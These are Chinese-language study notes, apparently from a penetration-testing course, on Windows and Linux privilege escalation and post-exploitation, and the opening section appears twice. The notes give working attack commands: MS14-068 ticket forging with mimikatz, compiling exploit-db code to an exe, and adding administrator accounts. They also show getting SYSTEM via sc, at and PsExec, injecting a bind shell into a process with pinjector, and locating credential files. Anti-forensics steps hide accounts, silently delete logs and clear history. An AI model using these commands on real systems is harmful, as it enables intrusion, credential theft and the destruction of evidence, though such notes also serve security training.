之前提权是已经是系统管理员的权限的情况提示成为system 或者是已有操作系统管理权限查看密码
登陆到操作系统 但是操作权限很低
通过域的组策略来统一的管理 控制员工账号
从普通到system 利用操作系统漏洞 特有的漏洞
实现提权目的
windows操作系统实例 :没有安装很多补丁 就利用这个漏洞提升权限
python的脚本放在windows里面需要解释性语言环境 否则windows可能将他看成txt文档
如果说打印好补丁 利用代码就失去作用
之前提权是已经是系统管理员的权限的情况提示成为system 或者是已有操作系统管理权限查看密码
登陆到操作系统 但是操作权限很低
通过域的组策略来统一的管理 控制员工账号
从普通到system 利用操作系统漏洞 特有的漏洞
实现提权目的
windows操作系统实例 :没有安装很多补丁 就利用这个漏洞提升权限
python的脚本放在windows里面需要解释性语言环境 否则windows可能将他看成txt文档
如果说打印好补丁 利用代码就失去作用
域是一个安全边界在这个边界里面会有一台机器作为域的控制器 控制域里面所有资源 有这个域的账号密码就可以控制这个域里面所有的电脑
所以 在企业 是控制所有的 域里面也有很多重要的系统
作为域管理器必须是sever 不是win7或者win8
对域不熟悉 可以看微软 ss4t 本身 在企业里面一旦创建啦域 就会给企业里面每个人分配账号 和密码
有限资源
管理员可以在域里面随便登陆
利用思路
操作系统 还有一些操作系统软件
操作系统内核对用户的进程权限控制不严格造成的
proc目录 不是在系统内存中实时生成的 只有硬盘启动才 有关机存在 启动会在linux生成的一个临时文件 保存的很多当前操作系统的内存运行数据 本身就是内存映射的数据 在linux 操作系统运行很多程序的时候 都会子操作系统里面生成很多 这个程序对于的pid值me
凡是所有高于2,6.39都存在这个漏洞 低于这个版本且很少
如何去执行 利用 利用代码
取得域的管理员权限
搭建域环境:
域控制器只能是server的操作系统,win7,8,xp不可以
作为域控制器的server管理员账号在升级成域后自动提升为域管理员
server要设为静态ip
DNS要指向自己的ip
运行->输入dcpromo(域安装程序)
域控制器也作为dns服务器
将电脑加入域:
我的电脑->属性->计算机名称->更改
运行->输入dsa.msc(域管理工具)
(MS14-068)漏洞利用
1.生成shell
python 1876.py -u user@lab.com -s userSID -d 域控制器的ip
#user是域用户名,userSID是这个用户的SID(用whoami.exe /all可查看)
2.将minikatz和生成的文件TGT_user1@lab.com.ccache 拷贝到win7系统(目标机)
3.本地管理员登陆
• mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
4.成功
通过漏洞提权 是因为操作系统没有打好补丁
searchsploit ms11-080 //寻找漏洞利用代码
pyinstaller //实现把Python脚本转换成exe应用程序
pywin32 //pyinstaller会调用pywin32的功能
利用漏洞提权
>找漏洞利用代码
将漏洞利用代码文件(18176.py)放到pyinstaller文件夹下,pyinstaller文件夹放到python27文件夹下,
..\python.exe pyinstaller.py --onefile 18176.py
//--onefile 将需要调用的库文件和外置扩展文件包含到一个exe里面
运行即可提权system
net localgroup administraters a /add
利用配置不当提权
icacls 查看程序权限
icacls c:\windows\*.exe /save perm /T
#perm是保存的文件名
#查看windows下权限不当的程序,如(FA;;;BU)即为普通用户有全部权限
将shell拷贝到程序目录下,伪装成正常程序的名字
应用系统的配置文件
Linux
• /etc/resolv.conf
• /etc/passwd
• /etc/shadow #用户密码
• whoami and who –a #当前用户信息
• ifconfig -a, iptables -L -n, netstat –r
#配置,防火墙,网段信息
• uname –a, ps aux #查看补丁,内核信息
• dpkg -l| head #列出所有软件包
Windows
• ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r
#所有网络配置参数,dns缓存,路由信息
• net view , net view /domain
#共享信息
• net user /domain, net user %username% /domain
#域的信息
• net accounts, net share
#当前开了哪些共享
• net localgroup administrators username /add
#将username用户加入管理员权限
• net group "Domain Controllers" /domain
#查看域控制器中的账号
• net share name$=C:\ /unlimited
#设置c盘根目录共享
• net user username /active:yes /domain
#激活用户(域中)
WMIC(windows管理框架)
• wmic nicconfig get ipaddress,macaddress
#读取ip,mac地址
• wmic computersystemget username
#查看当前登录账号名称
• wmic netlogin get name,lastlogon
#查看用户登录记录
• wmic process get caption, executablepath,commandline
#查看当前运行进程
• wmic process where name=“calc.exe" call terminate
#中止calc.exe进程
• wmic os get name,servicepackmajorversion
#提取系统servicepack版本
• wmic product get name,version
#查看当前系统安装了哪些软件
• wmic product where name=“name” call uninstall /nointeractive
#在后台删除name程序
• wmic share get /ALL
#查看共享文件夹
• wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections"1“
#开启远程桌面
• wmic nteventlogget path,filename, writeable
#查看当前系统日志
敏感数据
Linux
• /etc ;/usr/local/etc #敏感配置路径
• /etc/passwd ;/etc/shadow #账号密码
• .ssh ;.gnupg #公私钥
• The e-mail and data files
• 业务数据库 ;身份认证服务器数据库
• /tmp
windows
• SAM 数据库 ; 注册表文件
• %SYSTEMROOT%\repair\SAM
•%SYSTEMROOT%\System32\config\RegBack\SAM
• 业务数据库 ; 身份认证数据库
• 临时文件目录
•UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0
#禁止在登陆界面显示新建账号
del %WINDIR%\*.log /a/s/q/f
#静默删除日志
history -c #删除历史记录
linux中给文件加-i属性后无法操作
linux中日志
• auth.log / secure
• btmp / wtmp
• lastlog / faillog
• 其他日志和 HIDS 等
scp /usr/share/exploitdb/platforms/linux/local/18411.c yuanfh@192.168.1.149: /home/yuanfh/
//调用ssh进行传输
sudo apt-cdrom add //将光盘加入更新源
ADMIN提权为SYSTEM
思路:利用windows中以system运行的程序进行操作,将系统提权
win xp、win2003
win7,win8
sc Create syscmd binPath- "cmd /K start" type- own type- interact
#创建syscmd系统服务
sc start syscmd #启动服务
使用工具
Sysinternals Suite中的PsExec程序
PsExec.exe -i -s cmd
注入进程提权
工具 - pinjector.exe
(相当于开了一个后门,隐蔽性极高,不会创建新的进程,很难发现)
pinjector.exe -p 656(pid) cmd 5555(端口)
#将pinjector.exe注入到656这个进程下,当外部连接5555端口时,系统会将cmd提交出去
*Windows下权限的不完全包括
《Windows Internal》
at命令 xp、2003才行,win7、win8不可以
sc 这个可以在win7、8使用
抓包嗅探工具
Windows
Linux
一、在WIN xp中 at命令调度
打开cmd
使用at命令调度任务:at time /interactive cmd
time:16:00
/interactive:交互模式,会出现窗口,而不是后台运行
cmd:启动的服务
然后会出现一个新的命令行窗口,通过任务管理器可以看到,该窗口属于system
二、在WIN XP及更高的系统中 SC命令,服务的形式
通过shell添加服务:
sc create syscmd binpath= "cmd /k start" type= own type= interact
注意空格
然后 sc start syscmd 启动
启动的CMD是system权限,原因:因为services.msc中的服务都会以system启动
三、通过微软组件
https://docs.microsoft.com/zh-cn/sysinternals/downloads/
其中的 PsExec 软件可以实现
参数:
-i Run theprogram so taht it interacts with the desktop of the specified session on the remote sysytem. If no session is specified the process runs in the console session.
-s Run the remote process in the Sytem account
命令:
PsExec.exe -i -s cmd
该方式将我们要执行的服务注入操作系统原本的system启动的服务里,达到更加隐蔽痕迹的目的
该方式需要第三方工具来实现
pinjector.exe
https://www.tarasco.org/security/Process_Injector/
-l 枚举出当前可以注入的进程
-p pid 程序 port
例:
pinjector.exe -p 832 cmd 555(需要关闭防火墙)
该命令会创建注入PID为832的进程,启动后会给攻击者在端口555提供一个cmd,通过nc类似工具可以连接
该方式特点:
极为隐蔽,只能在端口层面以及进程堆栈层面发现
但在任务管理器中也会增加新的进程(即上文中的 程序,例中的cmd),且在注入进程的属性中TCP/IP项能查看到侦听了我们让其侦听的端口
Windows下:
wireshark
Omnipeek(https://www.savvius.com/free-30-day-software-trials/)
界面友好,有很多方便的功能,有专家系统进行分析
commview
破解版
Sniffpass
针对密码协议
Linux:
Tcpdump
Wireshark
dsniff
针对密码协议